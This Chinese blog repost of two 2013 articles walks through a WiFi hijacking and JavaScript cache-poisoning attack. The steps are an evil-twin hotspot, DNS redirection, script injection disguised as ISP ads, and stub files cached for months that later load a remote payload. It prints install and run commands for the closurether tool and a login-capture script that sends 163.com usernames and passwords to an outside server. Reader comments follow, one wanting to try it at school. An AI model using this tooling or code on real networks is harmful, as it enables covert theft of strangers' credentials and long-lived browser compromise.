WiFi流量劫持—— 浏览任意页面即可中毒!

大家都知道公共场所的Wifi安全性很差,但并不清楚究竟有多差。大多以为只要不上QQ、不登陆网站账号就没事了,看看新闻小说什么的应该毫无关系。

的确如此,看看新闻网页没有涉及任何敏感的账号信息。即便是数据明文传输,Hacker也只能嗅探到你看了哪些新闻,这些毫无价值的信息。

不过如此守株待兔的嗅探,似乎也太被动了。既然我们能主动控制流量,何必用这种弱爆了的方法呢?

--------------------------------------------------

在上一篇文章《把笔记本改造成无线路由器 ——  手机抓包牛刀小试》里提到如何实现Wifi的流量拦截,并做出更大范围的攻击。

今天,我们使用一种古老的技术,打造一个巧妙的时光机原型,让我们的脚本能穿越到未来运行。即便今天只看了几个小说网页,也能在未来几天甚至几星期后,打开其他网站时释放我们的代码。

让入侵不再受时间与空间的限制,实现超长诅咒!

JS脚本缓存投毒,劫持原理图

原理其实非常简单,相信大家看完图就明白了。

1. 当有人连上我们创建的AP时,他的命运已掌控在我们手中了!

2~5.  他访问任何网站,我们的Web代理就能在其中插入一段脚本代码了。当然这不是一般的广告的代码,而是预加载各大网站所用到的脚本文件。

6~7.  一切都在我们掌控之中,我们并非返回真正的脚本库文件。事实上一次预加载那么多文件,很是浪费带宽~ 我们只返回一个很小的“桩文件”,让他在未来打开网页时再加载真正的文件。此外,这个“桩文件”里我们还可以额外加些其他脚本:) 由于这些脚本库通常有着很长的缓存时间,因此只要在用户在清空缓存之前,始终从本地缓存里读取这个文件!

8~12. 即使用户离开了公共场所,但常用的脚本文件都已被感染并缓存。只要未来某一天登陆我们预先感染的网站,脚本将穿越时空被唤醒!

由此看来,只要实现了第1步,之后的几乎都是顺理成章了!

不过并非所用的人都是小白,还是有不少警惕性高的用户,不会轻易连接没有密码的公开wifi。事实上很多餐厅咖啡店的wifi都是设置了公开的密码的。

对于这种情况,我们就需要一个功率更大的AP了,并且将SSID与密码设置的和咖啡店的完全一致 —— 根据wifi的连接策略,同样的热点名将会优先选择信号更好的。如果密码也一样,他们就能顺利的连上我们的AP。于是我们的热点就像磁金石一样,将新来的用户统统吸过来,于是可以尽情的掌控了~~~

不过最终的难点却不在此,要找出每个网站缓存最久的脚本资源才是重中之重。

事实上,光看缓存时间是远远不够的 —— 有不少文件设置了很久的缓存,但是他们却经常的更新。最常见的就是带时间戳或哈希值的脚本URL,他们几乎三两天换一个,却有很长的缓存时间,这显然是不可取的。因此,我们需要根据资源的缓存时间上次修改时间,来衡量其稳定程度

为了能方便从各大网站寻找稳定度较高的资源,我们使用PhantomJS来实现自动化分析。PhantomJS是没有界面的命令行Webkit浏览器,使用它来模拟网站的访问,能为我们节省大量的系统资源。

我们监听page.onResourceReceived事件,即可获取所有资源请求的回应数据。之前已提到,缓存时间是必要条件,修改时间是充分条件。修改时间早说明这个资源不经常改变,可以放心用!

首先我们过滤掉缓存很短的资源,很快就过期的资源是没有利用价值的。然后按上修改时间的先后排序,最终为每个站点选择稳定度最优的几个资源。

代码实现很简单:

https://raw.github.com/EtherDream/closurether/master/tool/cache-sniffer/sniffer.js

我们测试几个常用的大网站(url.txt):

www.hao123.com
www.taobao.com
www.renren.com
www.kaixin001.com

www.baidu.com
www.baidu.com/s?wd=ss
tieba.baidu.com
map.baidu.com

weibo.com
www.sina.com.cn

www.mop.com
www.tianya.cn
bbs.tianya.cn

www.youku.com

user.qzone.qq.com
qzone.qq.com

www.163.com
mail.163.com
www.126.com

www.sohu.com

根据返回的数据来看(-几天没修改 / +缓存几天),每个站点下都有不少很久没有修改的脚本文件。

E:\NodeJS\closurether\tool\cache-sniffer>phantomjs sniffer.js 
== www.hao123.com ====================
-2 / +360        http://s0.hao123img.com/res/js/track.js?381633
 
== www.taobao.com ====================
-497 / +3650        http://a.tbcdn.cn/apps/med/other/p4p/p4p_show_link.js?rd=20120305.js
-229 / +3650        http://a.tbcdn.cn/apps/matrix-mission/feedback/feedback.js
-178 / +3650        http://a.tbcdn.cn/s/kissy/gallery/??offline/1.0/index-min.js?t=20130701201313
 
== www.renren.com ====================
-631 / +365        http://s.xnimg.cn/a12023/jspro/beacon.js
-491 / +365        http://s.xnimg.cn/n/apps/photo/modules/seed/photoSeed.js?r=1373879537560
-454 / +365        http://s.xnimg.cn/a36267/js/register/register-xn6207-v6.js
 
== www.kaixin001.com ====================
-737 / +365        http://s.kaixin001.com.cn/js/core/ScrollObserver-000179b73.js
-732 / +365        http://s.kaixin001.com.cn/js/core/Geometry-0001de487.js
-715 / +365        http://s.kaixin001.com.cn/js/core/cookie/Cookie-0001f6c85.js
 
== tieba.baidu.com ====================
-40 / +30        http://static.tieba.baidu.com/tb/pms/wpo.pda.js?v=2.8
-20 / +3600        http://img.baidu.com/hunter/tiebamonkey.min.20130625.js
-18 / +30        http://tb1.bdstatic.com/tb/static-common/js/tb_ui_ac13f64f.js
 
== weibo.com ====================
-40 / +15        http://js.t.sinajs.cn/t5/register/js/page/login/index.js?version=201307151712
 
== map.baidu.com ====================
-238 / +3600        http://img.baidu.com/hunter/map.js?st=-15902
-53 / +365        http://webmap1.map.bdimg.com/monitor/pdc_jfjmuk.js
-5 / +365        http://webmap1.map.bdimg.com/initmap_gn34ay.js
 
== www.tianya.cn ====================
-12 / +30        http://static.tianyaui.com/global/ty/TY.js
 
== user.qzone.qq.com ====================
-7 / +7        http://imgcache.qq.com/ptlogin/ver/10034/js/h_login_11.js?max_age=604800&ptui_identifier=000E0133918D62675822E216CC1D89FE3A9C1A8B432218E564A3DD6F0B
 
== www.163.com ====================
-716 / +7        http://l.bst.126.net/rsc/js/jquery-1.6.2.min.js
-297 / +90        http://img2.126.net/ntesrich/auto/adbox/adbox-v1.1.2-120705.js
-83 / +90        http://img2.126.net/ntesrich/auto/indexU/fcbox-index-v1.0.0-130422.js
 
== www.sohu.com ====================
-42 / +90        http://js.sohu.com/pv/pvclick1211071116.js
-42 / +90        http://js.sohu.com/pv/spv1209061800.js
 
== www.mop.com ====================
-969 / +299        http://mopimg.cn/openjs/jquery-1.4.4.min.js
-458 / +299        http://mopimg.cn/dc/tj.js
-396 / +299        http://mopimg.cn/tj/dcq.js
 
== bbs.tianya.cn ====================
-301 / +30        http://static.tianyaui.com/global/ty/stat/stat_20080313.js?_=1373879558250
-38 / +30        http://static.tianyaui.com/global/lite/js/lite-all.js?v=201306250800
-27 / +30        http://static.tianyaui.com/global/lite/js/bbs/bbs.js?v=201306250800
 
DONE!

很好,有了这些数据,就可实现我们计划了!

下一篇将介绍使用NodeJS来打造这一计划。

以上内容摘自:http://www.cnblogs.com/index-html/archive/2013/06/14/wifi_hijack_2.html


WiFi流量劫持—— JS脚本缓存投毒

在上一篇《WiFi流量劫持—— 浏览任意页面即可中毒》(内容已搬运至上边)构思了一个时光机原型,让我们的脚本通过HTTP缓存机制,在未来的某个时刻被执行,因此我们可以实现超大范围的入侵了。

基于此原理,我们用NodeJS来实现一个简单的样例。得益于node强大的IO管理,以及各种封装好的网络模块,我们可以很容易实现这个想法:

  • 开启一个特殊的DNS服务:所有域名都解析到我们的电脑上。并把Wifi的DHCP-DNS设置为我们的电脑IP。
  • 之后连上Wifi的用户打开任何网站,请求都将被我们的node服务收到。我们根据http头中的host字段来转发到真正服务器上。
  • 收到服务器返回的数据之后,我们就可以实现网页脚本的注入,并返回给用户了!
  • 当注入的脚本被执行,用户的浏览器将依次预加载各大网站的常用脚本库。我们将其感染,并设置超长的缓存时间。

于是大功告成!

攻击流程图

为了方便测试和控制,已把整个流程:DNS、HTTP代理、代码分析和注入都使用NodeJS编写,并整合在一起。下面就来测试一下!

获取Demo: (https://github.com/EtherDream/closurether

# npm install -g closurether

运行:

# closurether

启动成功的话,会输出:

[SYS] local ip: 192.168.1.250
[DNS] running 0.0.0.0:53
[WEB] listening 0.0.0.0:80
[WEB] listening 0.0.0.0:443

当然,192.168.1.250这是我本地的IP,推荐使用固定的IP地址。

打开无线路由器-DHCP配置,将主DNS设置为自己的IP,重启路由。到此,你已经控制了整个无线网络的流量了!

用另一台电脑连上你的wifi:

用另一台电脑连上你的wifi

这时会发现,ping任何域名,不出意外的话都会返回你的IP,DNS劫持已发挥作用了!

$ ping www.baidu.com
PING www.baidu.com (192.168.1.250): 56 data bytes
Request timeout for icmp_seq 0

$ ping www.google.com
PING www.google.com (192.168.1.250): 56 data bytes
Request timeout for icmp_seq 0

打开任意网页,一切正常。我们可以在node控制台看到用户访问的每一个请求。

我们可以在node控制台看到用户访问的每一个请求

当然这时网页上什么效果也没出现。这个Demo毕竟是个间谍程序,怎么可能会有界面呢?

想看效果的话修改项目里的asset/inject/extern.js,往里面加一条:

alert('Hello World');

这时再刷新页面,效果出现了!

效果出现了

打开任意网页的源文件,发现其中都注入了我们的脚本内容。为了隐蔽性,这里将注入的脚本伪装成运营商的url,别人还以为是联通宽带插的广告 ^_^

具体想伪装成什么地址,可以在config.json里配置。

具体想伪装成什么地址,可以在config.json里配置。

脚本内容正是asset/inject/extern.js文件:

脚本内容正是asset/inject/extern.js文件

到此,我们已实现把javascript代码注入到WiFi网络的HTTP流量里了!

下面测试我们的终极目标:能穿越到未来执行的脚本时光机。

前面仔细观察的话,不难发现注入的脚本内容里多出一大堆url,这些正是我们需要让用户预加载并缓存的各大网站脚本。具体原理在上一篇里已经详细讲解了。

如果想入侵更多的网站,往tool/cache-sniffer/url.txt里添加。运行:

$ phantomjs sniffer.js

程序将自动更新注入脚本的内容。

要想预加载并缓存一个脚本很容易,只需new Image().src='...'。当然有少数浏览器不支持,不过ie和chrome都是支持的。尽管js文件并不是一个图片,但仍然会缓存。(不过现在已经换成更标准的createElement / appendChild了,没有任何兼容性问题)

上一篇文章已说明,为了减少一次请求大量脚本文件消耗的带宽,我们并不返回真正的原始脚本文件,而是一个很小的“桩文件”,用来启动我们的入侵代码,以及恢复原始脚本文件。

因此这个“桩文件”代码量非常少,区区百来字节而已。例如hao123网站下的某个已被感染了的脚本:

例如hao123网站下的某个已被感染了的脚本

我们创建两个script元素,来加载外网的入侵代码,以及恢复原始脚本代码,使网页能正常运行。注意:原始脚本url后面的?1必不可少,否则又会从缓存里加载被感染的当前脚本,进入死循环。

使用document.write的好处在于,它创建的脚本是异步加载顺序执行的。所以在原始脚本未加载完之前,后面的脚本不会执行,避免了未定义错误的发生。

入侵代码的url可以在config.json里hacker_url字段配置。为了保证未来被感染的脚本被唤醒时,能正常调出你的入侵代码,所以选择一个可靠的外网来存放。

本Demo演示如何入侵并截获网易首页的账号,可以参考代码:http://jslog.sinaapp.com/ad.js

演示中的代码很简单,仅仅捕捉用户在网易首页上输入的账号和密码而已,然后传给后台保存到数据库里。

    var url = location.href;
    if (/\.163\.com/i.test(url)) {
        function onSubmit() {
            post(
                NTES.one('#js_loginframe_username').value,
                NTES.one('input[type=password]').value
            );
        }

        NTES.one('.ntes-loginframe-btn').addEventListener('click', onSubmit);

        NTES.one('input[type=password]').addEventListener('keydown', function(e) {
            if (e.keyCode == 13) {
                onSubmit();
            }
        });
    }

下面重启电脑,并连上家里的WiFi。(连过KFC的用户回家之后的情况)

下面重启电脑,并连上家里的WiFi。(连过KFC的用户回家之后的情况)

这时用户的流量已完全不在我们的可控之中,看我们的脚本是否仍能从沉睡之中唤醒呢?

打开www.163.com,一切正常~

www.163.com

输入用户名密码,一切正常~

输入用户名密码,一切正常~

似乎并没有感觉到任何的异常。回到我们自己的电脑上来看看,后台的笼子里是否有猎物捕捉到。。。

后台的笼子里是否有猎物捕捉到

很好,我们的入侵代码已成功执行,在用户离开了我们的网络之后依旧能够运行!只要登录了我们事先感染过的那些网站,入侵代码都将会被唤醒。

事实上,只要用户不清空缓存,这段代码终将附着在硬盘缓存里,直到过期。有可能是1个星期,甚至数月的时间。

所谓一时失足成千古恨莫过于此。一时大意连接了一个wifi热点,不经意间间谍已潜入你的浏览器缓存里。。。

==============================

使用NodeJS,我们只需数百行代码就实现了这个想法。当然,简单的同时缺点也是不言而喻的。node只提供了传输层的网络接口,我们无法操作底层网络数据。所以只能使用DNS劫持的方法来获得用户的流量。因此也就产生了一个非常纠结的问题:

怎样才能确定用户查询的域名是HTTP主机呢?

由于我们把所有的域名都解析到了自己的电脑上,因此包括其他的网络程序数据也转发到了我们这里。然而我们的node只监听了tcp:80端口,对于其他的端口则是完全忽略的。

即使我们监听了其他端口,我们也无法把收到的数据转发到真实的服务器 —— 我们根本不知道发到哪个地址上!

HTTP之所以能实现转发,得益于头部有个host字段;而非HTTP协议,甚至包括HTTPS,我们只能收到一堆二进制数据,然后就不知道的该交给谁了。

此问题虽然无法避免,但也有一定程度的解决方案:

1.) 事先收集各大网站的域名。之后用户查询的域名在列表里的话,直接返回自己的电脑IP;否则转发给外网DNS。

当记录足够多的话,我们可以拦截住用户大多数的网站流量。

但要收集大量的网站域名并不容易,而且仍会有不少的遗漏。因此我们使用更简单的方法:

2.) 仍然将所有的域名解析到自己电脑上,但域名TTL时间很短,几秒后就过期。

如果在之后的几秒时间里,收到访问这个域名的http请求(host字段是这个域名),那么就认为这个域名是http服务的;

如果规定时间里没有收到,那么就当做非http服务的域名。当域名ttl过期后,下次再查询这个域名时,就解析到外网真实的服务器IP了。反正不是http协议,收到了也没用。

3.) 尝试访问前来请求域名的80端口。如果能连接上,就当做是一个Web域名。就返回自己的IP。

目前使用方法3来识别域名。事实上基于DNS的流量劫持还有更大缺陷:

  • 如果用户手工设置的DNS怎么办?比如8.8.8.8的用户就非常多。
  • 不是80端口的网站又如何是好?难道我们要把1~65535的端口都监听吗?
  • 一个网站域名下同时有http和其他服务了,拦截就导致那个服务不可用了。
  • 最麻烦的当属纯IP的网站,那么就完全无法拦截了~

纠结之处就不再吐槽,不然就永远实现不了我们的想法了,以后再使用node扩展慢慢完善。

即便面临着不少问题,我们的Demo仍能顺利跑起来 —— 完全按照我们的预想运行!

==============================

当然,你在想这招也只能获取普通的账号而已,对于https加密的账号就无能为力了。

的确如此,不过别忘了https网站是如何登陆的呢?是用户在地址栏一个字符一个字符的敲入https...然后回车吗?

下一篇:将演示如何把javascript注入到支付宝网页,并截获用户的账号和密码。

以上内容摘自:http://www.cnblogs.com/index-html/p/wifi_hijack_3.html

相关内容:

WiFi流量劫持:网站JS脚本缓存投毒!长期控制!浏览任意页面即可中毒!

某些WIFI分享软件存在缺陷可能导致电脑内文件被他人读取

讨论如何入侵演唱会无线话筒,hack掉演唱会无线麦的可能性

讨论电影中出现的各种骇客、黑客入侵手法,《幽灵》、《神探夏洛克》

使用WiFi真的有那么危险吗?安全科普:教你增强自己的无线网络安全

WiFi里的猫腻:变色龙病毒,无线破解、蹭网,蜜罐路由器,黑吃黑

黑客讲故事:攻下隔壁女生路由器后,我都做了些什么,无线路由器被蹭网后,入侵女神

WIFI蜜灌之路由上的会话劫持

新型“变色龙”:可以通过空气传播的Wifi网络病毒

进入了路由器怎么让她进入我的钓鱼网页?

已更新Iwork10测评!求推荐一款便携式户外物理移动渗透终端设备!!!

一基友再遇奇葩无线网络环境,顺便求二级/三级/四级ISP的盈利方式?

浅谈社工,欢迎讨论、补充,各种猥琐社工、人肉技巧,物理社工、人肉

为什么所有的无线频率都是2.4GHz?

逆向追踪:查找360wifi(知道ssid)的使用者

Windows下的无线热点蜜罐

小米云服务同步“wlan设置”的安全性,小米已收集了32万wifi明文密码

rtl-sdr,RTL2832+E4k tuner电视棒跟踪飞机轨迹 ADS-B/TCAS/SSR

视频: Dtac:将宠物变成了WiFi热点,泰国运营商将宠物变成WiFi热点

公共无线安全——FakeAP之WiFi钓鱼

[讨论]如何入侵一个户外的电子显示屏

实时抓取移动设备上的通信包(ADVsock2pipe+Wireshark+nc+tcpdump)

华裔黑客 BITcrash44 凭借一台 iPhone4 拿下时代广场大屏幕

视频:国外黑客无线入侵、遥控电子路桥系统

视频:国外黑客无线入侵保时捷911,并且远程操控、遥控

视频:国外黑客利用一部诺基亚N95手机入侵火车站电子屏,并且现场直播

视频:国外黑客入侵高速公路交通电子屏

大屏系统被黑 泰国国会现场直播不雅照

用黑客方式找回失窃的电脑 - GSM基站定位 - Wifi热点定位

破解无线wifi密码后不能上网的问题解析

【计算机常识】双机无线wifi互联教程

【技巧】用无线路由实现无线桥接

【工具】无线破解/渗透工具 Beini-1.2.1

【工具】AIO_Wifi_Hack_2010

渗透某餐厅无线点餐服务器

视频:黑客实战入侵,黑客入侵大楼灯光控制系统,黑客们的游戏,户外物理入侵

留言评论(旧系统):

河蟹 @ 2014-09-04 01:17:05

我靠 已收藏 不得了不得了

本站回复:

-_-|||

米开朗基罗 @ 2014-09-04 11:13:54

去年的文章,13年就看到过,只是又让人给转载了。。

本站回复:

嗯,文章内容不错,所以转载了。

drike @ 2014-09-04 12:36:33

很不错哦,,可惜没时间弄,,不然在学校来个玩玩还是很不错的,,

本站回复:

-_-|||

佚名 @ 2014-09-06 23:58:00

请问: 1:关闭图片,javascript,浏览国内网页,能中毒? 2:只下栽文件,别的什么也不做,能中毒? 3:全部走网页代理,能中毒?

本站回复:

1、可以中毒 2、可以中毒 3、和代理无关,可以中毒。

佚名 @ 2014-09-09 13:03:41

核总该更新了

本站回复:

最近太忙了,而且没啥好内容,抽空一定更新!

佚名 @ 2014-09-10 16:05:42

请问贵站rss订阅地址是

本站回复:

首页就有:http://lcx.cc/?a=rss

佚名 @ 2014-10-07 22:38:10

了不得

本站回复:

-_-|||

moonfly @ 2014-10-08 11:54:57

不是还有个技术叫透明代理?自己的电脑就是一台nat防火墙,直接从网络层将所有请求80端口的流量自动重定向到本机的http代理端口,不就可以劫持全部http流量?而且跟客户端dns设置完全无关!

本站回复:

佚名 @ 2014-10-13 17:24:14

我想说的是, 这个php表单接受数据的页面demo里面好像没有提供是吗? 我的杀软应该会提示并拦截加载这个js呢? 如果我知道了,我如果在可以在网易登录框,输入XSS盲打代码被截取到,你在view.php查看我输入的内容应该会中招吧,这个文件应该写的很简单。

本站回复:

杀软不会拦截的,除非js里有很明显的挂马代码。 XSS盲打,要看对方有没有这个安全意识了,不过,既然对方是做xss的,应该早做防范了。